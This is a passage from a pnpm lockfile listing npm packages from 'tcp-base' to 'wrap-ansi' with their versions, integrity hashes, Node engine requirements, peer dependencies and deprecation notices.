contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me\n\n  tcp-base@3.2.0:\n    resolution: {integrity: sha512-fFAqH8QTbheuEbXLdbxTSe31Gkw6Lg3nq4loyrxIXM6+ILGdbYXEblgyuu7UltOkOHbP/q2iqaC+gIXXu0C5bg==}\n    engines: {node: '>= 6.0.0'}\n\n  terminal-link@5.0.0:\n    resolution: {integrity: sha512-qFAy10MTMwjzjU8U16YS4YoZD+NQLHzLssFMNqgravjbvIPNiqkGFR4yjhJfmY9R5OFU7+yHxc6y+uGHkKwLRA==}\n    engines: {node: '>=20'}\n\n  terser@5.44.0:\n    resolution: {integrity: sha512-nIVck8DK+GM/0Frwd+nIhZ84pR/BX7rmXMfYwyg+Sri5oGVE99/E3KvXqpC2xHFxyqXyGHTKBSioxxplrO4I4w==}\n    engines: {node: '>=10'}\n    hasBin: true\n\n  test-exclude@7.0.1:\n    resolution: {integrity: sha512-pFYqmTw68LXVjeWJMST4+borgQP2AyMNbg1BpZh9LbyhUeNkeaPF9gzfPGUAnSMV3qPYdWUwDIjjCLiSDOl7vg==}\n    engines: {node: '>=18'}\n\n  thenify-all@1.6.0:\n    resolution: {integrity: sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==}\n    engines: {node: '>=0.8'}\n\n  thenify@3.3.1:\n    resolution: {integrity: sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==}\n\n  through@2.3.8:\n    resolution: {integrity: sha512-w89qg7PI8wAdvX60bMDP+bFoD5Dvhm9oLheFp5O4a2QF0cSBGsBX4qZmadPMvVqlLJBBci+WqGGOAPvcDeNSVg==}\n\n  tinybench@2.9.0:\n    resolution: {integrity: sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==}\n\n  tinyexec@1.0.2:\n    resolution: {integrity: sha512-W/KYk+NFhkmsYpuHq5JykngiOCnxeVL8v8dFnqxSD8qEEdRfXk1SDM6JzNqcERbcGYj9tMrDQBYV9cjgnunFIg==}\n    engines: {node: '>=18'}\n\n  tinyglobby@0.2.15:\n    resolution: {integrity: sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==}\n    engines: {node: '>=12.0.0'}\n\n  tinypool@2.0.0:\n    resolution: {integrity: sha512-/RX9RzeH2xU5ADE7n2Ykvmi9ED3FBGPAjw9u3zucrNNaEBIO0HPSYgL0NT7+3p147ojeSdaVu08F6hjpv31HJg==}\n    engines: {node: ^20.0.0 || >=22.0.0}\n\n  tinyrainbow@3.0.3:\n    resolution: {integrity: sha512-PSkbLUoxOFRzJYjjxHJt9xro7D+iilgMX/C9lawzVuYiIdcihh9DXmVibBe8lmcFrRi/VzlPjBxbN7rH24q8/Q==}\n    engines: {node: '>=14.0.0'}\n\n  title-case@2.1.1:\n    resolution: {integrity: sha512-EkJoZ2O3zdCz3zJsYCsxyq2OC5hrxR9mfdd5I+w8h/tmFfeOxJ+vvkxsKxdmN0WtS9zLdHEgfgVOiMVgv+Po4Q==}\n\n  tmp@0.2.5:\n    resolution: {integrity: sha512-voyz6MApa1rQGUxT3E+BK7/ROe8itEx7vD8/HEvt4xwXucvQ5G5oeEiHkmHZJuBO21RpOf+YYm9MOivj709jow==}\n    engines: {node: '>=14.14'}\n\n  to-regex-range@5.0.1:\n    resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==}\n    engines: {node: '>=8.0'}\n\n  toidentifier@1.0.1:\n    resolution: {integrity: sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==}\n    engines: {node: '>=0.6'}\n\n  tokenx@1.2.1:\n    resolution: {integrity: sha512-lVhFIhR2qh3uUyUA8Ype+HGzcokUJbHmRSN1TJKOe4Y26HkawQuLiGkUCkR5LD9dx+Rtp+njrwzPL8AHHYQSYA==}\n\n  totalist@3.0.1:\n    resolution: {integrity: sha512-sf4i37nQ2LBx4m3wB74y+ubopq6W/dIzXg0FDGjsYnZHVa1Da8FH853wlL2gtUhg+xJXjfk3kUZS3BRoQeoQBQ==}\n    engines: {node: '>=6'}\n\n  tree-kill@1.2.2:\n    resolution: {integrity: sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==}\n    hasBin: true\n\n  treeverse@3.0.0:\n    resolution: {integrity: sha512-gcANaAnd2QDZFmHFEOF4k7uc1J/6a6z3DJMd/QwEyxLoKGiptJRwid582r7QIsFlFMIZ3SnxfS52S4hm2DHkuQ==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  trim-lines@3.0.1:\n    resolution: {integrity: sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==}\n\n  trough@2.2.0:\n    resolution: {integrity: sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==}\n\n  ts-node@10.9.2:\n    resolution: {integrity: sha512-f0FFpIdcHgn8zcPSbf1dRevwt047YMnaiJM3u2w2RewrB+fob/zePZcrOyQoLMMO7aBIddLcQIEK5dYjkLnGrQ==}\n    hasBin: true\n    peerDependencies:\n      '@swc/core': '>=1.2.50'\n      '@swc/wasm': '>=1.2.50'\n      '@types/node': '*'\n      typescript: '>=2.7'\n    peerDependenciesMeta:\n      '@swc/core':\n        optional: true\n      '@swc/wasm':\n        optional: true\n\n  tsconfig-paths@4.2.0:\n    resolution: {integrity: sha512-NoZ4roiN7LnbKn9QqE1amc9DJfzvZXxF4xDavcOWt1BPkdx+m+0gJuPM+S0vCe7zTJMYUP0R8pO2XMr+Y8oLIg==}\n    engines: {node: '>=6'}\n\n  tsdown@0.18.2:\n    resolution: {integrity: sha512-2o6p/9WjcQrgKnz5/VppOstsqXdTER6G6gPe5yhuP57AueIr2y/NQFKdFPHuqMqZpxRLVjm7MP/dXWG7EJpehg==}\n    engines: {node: '>=20.19.0'}\n    hasBin: true\n    peerDependencies:\n      '@arethetypeswrong/core': ^0.18.1\n      '@vitejs/devtools': '*'\n      publint: ^0.3.0\n      typescript: ^5.0.0\n      unplugin-lightningcss: ^0.4.0\n      unplugin-unused: ^0.5.0\n    peerDependenciesMeta:\n      '@arethetypeswrong/core':\n        optional: true\n      '@vitejs/devtools':\n        optional: true\n      publint:\n        optional: true\n      typescript:\n        optional: true\n      unplugin-lightningcss:\n        optional: true\n      unplugin-unused:\n        optional: true\n\n  tslib@2.8.1:\n    resolution: {integrity: sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==}\n\n  tsscmp@1.0.6:\n    resolution: {integrity: sha512-LxhtAkPDTkVCMQjt2h6eBVY28KCjikZqZfMcC15YBeNjkgUpdCfBu5HoiOTDu86v6smE8yOjyEktJ8hlbANHQA==}\n    engines: {node: '>=0.6.x'}\n\n  tsx@4.20.6:\n    resolution: {integrity: sha512-ytQKuwgmrrkDTFP4LjR0ToE2nqgy886GpvRSpU0JAnrdBYppuY5rLkRUYPU1yCryb24SsKBTL/hlDQAEFVwtZg==}\n    engines: {node: '>=18.0.0'}\n    hasBin: true\n\n  tuf-js@1.1.7:\n    resolution: {integrity: sha512-i3P9Kgw3ytjELUfpuKVDNBJvk4u5bXL6gskv572mcevPbSKCV3zt3djhmlEQ65yERjIbOSncy7U4cQJaB1CBCg==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  type-fest@0.21.3:\n    resolution: {integrity: sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==}\n    engines: {node: '>=10'}\n\n  type-fest@4.41.0:\n    resolution: {integrity: sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==}\n    engines: {node: '>=16'}\n\n  type-fest@5.1.0:\n    resolution: {integrity: sha512-wQ531tuWvB6oK+pchHIu5lHe5f5wpSCqB8Kf4dWQRbOYc9HTge7JL0G4Qd44bh6QuJCccIzL3bugb8GI0MwHrg==}\n    engines: {node: '>=20'}\n\n  type-is@1.6.18:\n    resolution: {integrity: sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==}\n    engines: {node: '>= 0.6'}\n\n  type-is@2.0.1:\n    resolution: {integrity: sha512-OZs6gsjF4vMp32qrCbiVSkrFmXtG/AZhY3t0iAMrMBiAZyV9oALtXO8hsrHbMXF9x6L3grlFuwW2oAz7cav+Gw==}\n    engines: {node: '>= 0.6'}\n\n  typebox@1.0.65:\n    resolution: {integrity: sha512-3WaZ4QmfAxmelhi0dwusYDoZ+DLDoVrsc3aORzgtk1I8JfIf4wn+F8i1TtrnU2jJKM/hZgjJGfzXrwS4B31zZw==}\n\n  typedarray-to-buffer@3.1.5:\n    resolution: {integrity: sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==}\n\n  typescript@5.9.3:\n    resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==}\n    engines: {node: '>=14.17'}\n    hasBin: true\n\n  uc.micro@2.1.0:\n    resolution: {integrity: sha512-ARDJmphmdvUk6Glw7y9DQ2bFkKBHwQHLi2lsaH6PPmz/Ka9sFOBsBluozhDltWmnv9u/cF6Rt87znRTPV+yp/A==}\n\n  uid-safe@2.1.5:\n    resolution: {integrity: sha512-KPHm4VL5dDXKz01UuEd88Df+KzynaohSL9fBh096KWAxSKZQDI2uBrVqtvRM4rwrIrRRKsdLNML/lnaaVSRioA==}\n    engines: {node: '>= 0.8'}\n\n  unconfig-core@7.4.2:\n    resolution: {integrity: sha512-VgPCvLWugINbXvMQDf8Jh0mlbvNjNC6eSUziHsBCMpxR05OPrNrvDnyatdMjRgcHaaNsCqz+wjNXxNw1kRLHUg==}\n\n  undici-types@7.16.0:\n    resolution: {integrity: sha512-Zz+aZWSj8LE6zoxD+xrjh4VfkIG8Ya6LvYkZqtUQGJPZjYl53ypCaUwWqo7eI0x66KBGeRo+mlBEkMSeSZ38Nw==}\n\n  undici@5.29.0:\n    resolution: {integrity: sha512-raqeBD6NQK4SkWhQzeYKd1KmIG6dllBOTt55Rmkt4HtI9mwdWtJljnrXjAFUBLTSN67HWrOIZ3EPF4kjUw80Bg==}\n    engines: {node: '>=14.0'}\n\n  undici@7.16.0:\n    resolution: {integrity: sha512-QEg3HPMll0o3t2ourKwOeUAZ159Kn9mx5pnzHRQO8+Wixmh88YdZRiIwat0iNzNNXn0yoEtXJqFpyW7eM8BV7g==}\n    engines: {node: '>=20.18.1'}\n\n  unescape@1.0.1:\n    resolution: {integrity: sha512-O0+af1Gs50lyH1nUu3ZyYS1cRh01Q/kUKatTOkSs7jukXE6/NebucDVxyiDsA9AQ4JC1V1jUH9EO8JX2nMDgGQ==}\n    engines: {node: '>=0.10.0'}\n\n  unicorn-magic@0.3.0:\n    resolution: {integrity: sha512-+QBBXBCvifc56fsbuxZQ6Sic3wqqc3WWaqxs58gvJrcOuN83HGTCwz3oS5phzU9LthRNE9VrJCFCLUgHeeFnfA==}\n    engines: {node: '>=18'}\n\n  unified@11.0.5:\n    resolution: {integrity: sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==}\n\n  unique-filename@2.0.1:\n    resolution: {integrity: sha512-ODWHtkkdx3IAR+veKxFV+VBkUMcN+FaqzUUd7IZzt+0zhDZFPFxhlqwPF3YQvMHx1TD0tdgYl+kuPnJ8E6ql7A==}\n    engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0}\n\n  unique-filename@3.0.0:\n    resolution: {integrity: sha512-afXhuC55wkAmZ0P18QsVE6kp8JaxrEokN2HGIoIVv2ijHQd419H0+6EigAFcIzXeMIkcIkNBpB3L/DXB3cTS/g==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  unique-slug@3.0.0:\n    resolution: {integrity: sha512-8EyMynh679x/0gqE9fT9oilG+qEt+ibFyqjuVTsZn1+CMxH+XLlpvr2UZx4nVcCwTpx81nICr2JQFkM+HPLq4w==}\n    engines: {node: ^12.13.0 || ^14.15.0 || >=16.0.0}\n\n  unique-slug@4.0.0:\n    resolution: {integrity: sha512-WrcA6AyEfqDX5bWige/4NQfPZMtASNVxdmWR76WESYQVAACSgWcR6e9i0mofqqBxYFtL4oAxPIptY73/0YE1DQ==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  unist-util-is@6.0.1:\n    resolution: {integrity: sha512-LsiILbtBETkDz8I9p1dQ0uyRUWuaQzd/cuEeS1hoRSyW5E5XGmTzlwY1OrNzzakGowI9Dr/I8HVaw4hTtnxy8g==}\n\n  unist-util-position@5.0.0:\n    resolution: {integrity: sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==}\n\n  unist-util-remove@4.0.0:\n    resolution: {integrity: sha512-b4gokeGId57UVRX/eVKej5gXqGlc9+trkORhFJpu9raqZkZhU0zm8Doi05+HaiBsMEIJowL+2WtQ5ItjsngPXg==}\n\n  unist-util-stringify-position@4.0.0:\n    resolution: {integrity: sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==}\n\n  unist-util-visit-parents@6.0.2:\n    resolution: {integrity: sha512-goh1s1TBrqSqukSc8wrjwWhL0hiJxgA8m4kFxGlQ+8FYQ3C/m11FcTs4YYem7V664AhHVvgoQLk890Ssdsr2IQ==}\n\n  unist-util-visit@5.0.0:\n    resolution: {integrity: sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg==}\n\n  universalify@0.1.2:\n    resolution: {integrity: sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==}\n    engines: {node: '>= 4.0.0'}\n\n  unpipe@1.0.0:\n    resolution: {integrity: sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==}\n    engines: {node: '>= 0.8'}\n\n  unplugin-unused@0.5.4:\n    resolution: {integrity: sha512-R11StgC5j43CECdjHFbc6Ep4MgM97xuI7rku/nCw7OpIEw9sG4btxvR7Ld4RViwAF+eEQjSebesE+jTJTFFWmQ==}\n    engines: {node: '>=20.19.0'}\n\n  unplugin@2.3.10:\n    resolution: {integrity: sha512-6NCPkv1ClwH+/BGE9QeoTIl09nuiAt0gS28nn1PvYXsGKRwM2TCbFA2QiilmehPDTXIe684k4rZI1yl3A1PCUw==}\n    engines: {node: '>=18.12.0'}\n\n  unrun@0.2.20:\n    resolution: {integrity: sha512-YhobStTk93HYRN/4iBs3q3/sd7knvju1XrzwwrVVfRujyTG1K88hGONIxCoJN0PWBuO+BX7fFiHH0sVDfE3MWw==}\n    engines: {node: '>=20.19.0'}\n    hasBin: true\n    peerDependencies:\n      synckit: ^0.11.11\n    peerDependenciesMeta:\n      synckit:\n        optional: true\n\n  upper-case-first@1.1.2:\n    resolution: {integrity: sha512-wINKYvI3Db8dtjikdAqoBbZoP6Q+PZUyfMR7pmwHzjC2quzSkUq5DmPrTtPEqHaz8AGtmsB4TqwapMTM1QAQOQ==}\n\n  upper-case@1.1.3:\n    resolution: {integrity: sha512-WRbjgmYzgXkCV7zNVpy5YgrHgbBv126rMALQQMrmzOVC4GM2waQ9x7xtm8VU+1yF2kWyPzI9zbZ48n4vSxwfSA==}\n\n  urijs@1.19.11:\n    resolution: {integrity: sha512-HXgFDgDommxn5/bIv0cnQZsPhHDA90NPHD6+c/v21U5+Sx5hoP8+dP9IZXBU1gIfvdRfhG8cel9QNPeionfcCQ==}\n\n  urllib@3.27.3:\n    resolution: {integrity: sha512-24ht/hHAkhWXbqSCM499B8gFPXaf4aFQJNqJH5pMsvfyo+aM3zKuQ/uiZ/mdz41Nnw6ItuiqMVMK5VDAlAHLlw==}\n    engines: {node: '>= 14.19.3'}\n\n  urllib@4.8.2:\n    resolution: {integrity: sha512-V5oo9kzQfF9UQAC9KOVFmmmbYPJ9nksgO8HM89BZse96QcCyjrssPVxKzL/9sVPRC8D4Sd3nAdaMCXAZ3dqEYA==}\n    engines: {node: '>= 18.19.0'}\n\n  util-deprecate@1.0.2:\n    resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==}\n\n  utility@1.18.0:\n    resolution: {integrity: sha512-PYxZDA+6QtvRvm//++aGdmKG/cI07jNwbROz0Ql+VzFV1+Z0Dy55NI4zZ7RHc9KKpBePNFwoErqIuqQv/cjiTA==}\n    engines: {node: '>= 0.12.0'}\n\n  utility@2.5.0:\n    resolution: {integrity: sha512-lDbOVde5UAKgtxrSyZNhqrTA7f7anba6DTqbsDWgUFk6PZlmr7djqPYw0FnL5a6TbJvRt38VmYqt07zVLzXG2A==}\n    engines: {node: '>= 16.0.0'}\n\n  utils-merge@1.0.1:\n    resolution: {integrity: sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==}\n    engines: {node: '>= 0.4.0'}\n\n  uuid@10.0.0:\n    resolution: {integrity: sha512-8XkAphELsDnEGrDxUOHB3RGvXz6TeuYSGEZBOjtTtPm2lwhGBjLgOzLHB63IUWfBpNucQjND6d3AOudO+H3RWQ==}\n    hasBin: true\n\n  uuid@13.0.0:\n    resolution: {integrity: sha512-XQegIaBTVUjSHliKqcnFqYypAd4S+WCYt5NIeRs6w/UAry7z8Y9j5ZwRRL4kzq9U3sD6v+85er9FvkEaBpji2w==}\n    hasBin: true\n\n  v8-compile-cache-lib@3.0.1:\n    resolution: {integrity: sha512-wa7YjyUGfNZngI/vtK0UHAN+lgDCxBPCylVXGp0zu59Fz5aiGtNXaq3DhIov063MorB+VfufLh3JlF2KdTK3xg==}\n\n  v8-to-istanbul@9.3.0:\n    resolution: {integrity: sha512-kiGUalWN+rgBJ/1OHZsBtU4rXZOfj/7rKQxULKlIzwzQSvMJUUNgPwJEEh7gU6xEVxC0ahoOBvN2YI8GH6FNgA==}\n    engines: {node: '>=10.12.0'}\n\n  validate-npm-package-license@3.0.4:\n    resolution: {integrity: sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==}\n\n  validate-npm-package-name@3.0.0:\n    resolution: {integrity: sha512-M6w37eVCMMouJ9V/sdPGnC5H4uDr73/+xdq0FBLO3TFFX1+7wiUY6Es328NN+y43tmY+doUdN9g9J21vqB7iLw==}\n\n  validate-npm-package-name@5.0.1:\n    resolution: {integrity: sha512-OljLrQ9SQdOUqTaQxqL5dEfZWrXExyyWsozYlAWFawPVNuD83igl7uJD2RTkNMbniIYgt8l81eCJGIdQF7avLQ==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n\n  validator@13.15.15:\n    resolution: {integrity: sha512-BgWVbCI72aIQy937xbawcs+hrVaN/CZ2UwutgaJ36hGqRrLNM+f5LUT/YPRbo8IV/ASeFzXszezV+y2+rq3l8A==}\n    engines: {node: '>= 0.10'}\n\n  vary@1.1.2:\n    resolution: {integrity: sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==}\n    engines: {node: '>= 0.8'}\n\n  vfile-message@4.0.3:\n    resolution: {integrity: sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==}\n\n  vfile@6.0.3:\n    resolution: {integrity: sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==}\n\n  vitepress-plugin-llms@1.10.0:\n    resolution: {integrity: sha512-dgD5KV8D9vXlQtAf/KUjSgr3QymH1fHT7XkQ/UuIqvIjnKdzZI+0gT3puGxUBuqgvlFjYWA6f8k80tXl6gwWkw==}\n\n  vitepress@2.0.0-alpha.15:\n    resolution: {integrity: sha512-jhjSYd10Z6RZiKOa7jy0xMVf5NB5oSc/lS3bD/QoUc6V8PrvQR5JhC9104NEt6+oTGY/ftieVWxY9v7YI+1IjA==}\n    hasBin: true\n    peerDependencies:\n      markdown-it-mathjax3: ^4\n      oxc-minify: '*'\n      postcss: ^8\n    peerDependenciesMeta:\n      markdown-it-mathjax3:\n        optional: true\n      oxc-minify:\n        optional: true\n      postcss:\n        optional: true\n\n  vitest@4.0.15:\n    resolution: {integrity: sha512-n1RxDp8UJm6N0IbJLQo+yzLZ2sQCDyl1o0LeugbPWf8+8Fttp29GghsQBjYJVmWq3gBFfe9Hs1spR44vovn2wA==}\n    engines: {node: ^20.0.0 || ^22.0.0 || >=24.0.0}\n    hasBin: true\n    peerDependencies:\n      '@edge-runtime/vm': '*'\n      '@opentelemetry/api': ^1.9.0\n      '@types/node': ^20.0.0 || ^22.0.0 || >=24.0.0\n      '@vitest/browser-playwright': 4.0.15\n      '@vitest/browser-preview': 4.0.15\n      '@vitest/browser-webdriverio': 4.0.15\n      '@vitest/ui': 4.0.15\n      happy-dom: '*'\n      jsdom: '*'\n    peerDependenciesMeta:\n      '@edge-runtime/vm':\n        optional: true\n      '@opentelemetry/api':\n        optional: true\n      '@types/node':\n        optional: true\n      '@vitest/browser-playwright':\n        optional: true\n      '@vitest/browser-preview':\n        optional: true\n      '@vitest/browser-webdriverio':\n        optional: true\n      '@vitest/ui':\n        optional: true\n      happy-dom:\n        optional: true\n      jsdom:\n        optional: true\n\n  vue@3.5.25:\n    resolution: {integrity: sha512-YLVdgv2K13WJ6n+kD5owehKtEXwdwXuj2TTyJMsO7pSeKw2bfRNZGjhB7YzrpbMYj5b5QsUebHpOqR3R3ziy/g==}\n    peerDependencies:\n      typescript: '*'\n    peerDependenciesMeta:\n      typescript:\n        optional: true\n\n  walk-up-path@3.0.1:\n    resolution: {integrity: sha512-9YlCL/ynK3CTlrSRrDxZvUauLzAswPCrsaCgilqFevUYpeEW0/3ScEjaa3kbW/T0ghhkEr7mv+fpjqn1Y1YuTA==}\n\n  wcwidth@1.0.1:\n    resolution: {integrity: sha512-XHPEwS0q6TaxcvG85+8EYkbiCux2XtWG2mkc47Ng2A77BQu9+DqIOJldST4HgPkuea7dvKSj5VgX3P1d4rW8Tg==}\n\n  web-streams-polyfill@4.0.0-beta.3:\n    resolution: {integrity: sha512-QW95TCTaHmsYfHDybGMwO5IJIM93I/6vTRk+daHTWFPhwh+C8Cg7j7XyKrwrj8Ib6vYXe0ocYNrmzY4xAAN6ug==}\n    engines: {node: '>= 14'}\n\n  webpack-virtual-modules@0.6.2:\n    resolution: {integrity: sha512-66/V2i5hQanC51vBQKPH4aI8NMAcBW59FVBs+rC7eGHupMyfn34q7rZIE+ETlJ+XTevqfUhVVBgSUNSW2flEUQ==}\n\n  whatwg-encoding@3.1.1:\n    resolution: {integrity: sha512-6qN4hJdMwfYBtE3YBTTHhoeuUrDBPZmbQaxWAqSALV/MeEnR5z1xd8UKud2RAkFoPkmB+hli1TZSnyi84xz1vQ==}\n    engines: {node: '>=18'}\n    deprecated: Use @exodus/bytes instead for a more spec-conformant and faster implementation\n\n  whatwg-mimetype@4.0.0:\n    resolution: {integrity: sha512-QaKxh0eNIi2mE9p2vEdzfagOKHCcj1pJ56EEHGQOVxp8r9/iszLUUV7v89x9O1p/T+NlTM5W7jW6+cz4Fq1YVg==}\n    engines: {node: '>=18'}\n\n  which-boxed-primitive@1.1.1:\n    resolution: {integrity: sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==}\n    engines: {node: '>= 0.4'}\n\n  which-collection@1.0.2:\n    resolution: {integrity: sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==}\n    engines: {node: '>= 0.4'}\n\n  which-module@2.0.1:\n    resolution: {integrity: sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ==}\n\n  which-typed-array@1.1.19:\n    resolution: {integrity: sha512-rEvr90Bck4WZt9HHFC4DJMsjvu7x+r6bImz0/BrbWb7A2djJ8hnZMrWnHo9F8ssv0OMErasDhftrfROTyqSDrw==}\n    engines: {node: '>= 0.4'}\n\n  which@1.3.1:\n    resolution: {integrity: sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==}\n    hasBin: true\n\n  which@2.0.2:\n    resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==}\n    engines: {node: '>= 8'}\n    hasBin: true\n\n  which@3.0.1:\n    resolution: {integrity: sha512-XA1b62dzQzLfaEOSQFTCOd5KFf/1VSzZo7/7TUjnya6u0vGGKzU96UQBZTAThCb2j4/xjBAyii1OhRLJEivHvg==}\n    engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0}\n    hasBin: true\n\n  why-is-node-running@2.3.0:\n    resolution: {integrity: sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==}\n    engines: {node: '>=8'}\n    hasBin: true\n\n  wide-align@1.1.5:\n    resolution: {integrity: sha512-eDMORYaPNZ4sQIuuYPDHdQvf4gyCF9rEEV/yPxGfwPkRodwEgiMUUXTx/dex+Me0wxx53S+NgUHaP7y3MGlDmg==}\n\n  widest-line@3.1.0:\n    resolution: {integrity: sha512-NsmoXalsWVDMGupxZ5R08ka9flZjjiLvHVAWYOKtiKM8ujtZWr9cRffak+uSE48+Ob8ObalXpwyeUiyDD6QFgg==}\n    engines: {node: '>=8'}\n\n  win-release@1.1.1:\n    resolution: {integrity: sha512-iCRnKVvGxOQdsKhcQId2PXV1vV3J/sDPXKA4Oe9+Eti2nb2ESEsYHRYls/UjoUW3bIc5ZDO8dTH50A/5iVN+bw==}\n    engines: {node: '>=0.10.0'}\n\n  wordwrap@1.0.0:\n    resolution: {integrity: sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q==}\n\n  workerpool@9.3.4:\n    resolution: {integrity: sha512-TmPRQYYSAnnDiEB0P/Ytip7bFGvqnSU6I2BcuSw7Hx+JSg/DsUi5ebYfc8GYaSdpuvOcEs6dXxPurOYpe9QFwg==}\n\n  wrap-ansi@5.1.0:\n    resolution: {integrity: sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==}\n    engines: {node: '>=6'}\n\n  wrap-ansi@7.0.0:\n    resolution: {integrity: sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==}\n    engines: {node: '>=10'}\n\n  wrap-ansi@8.1.0:\n    resolution: {integrity: sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==}\n    engines: {node: '>=12'}\n\n  wrap-ansi@9.0.2:\n    resolution: {integrity: 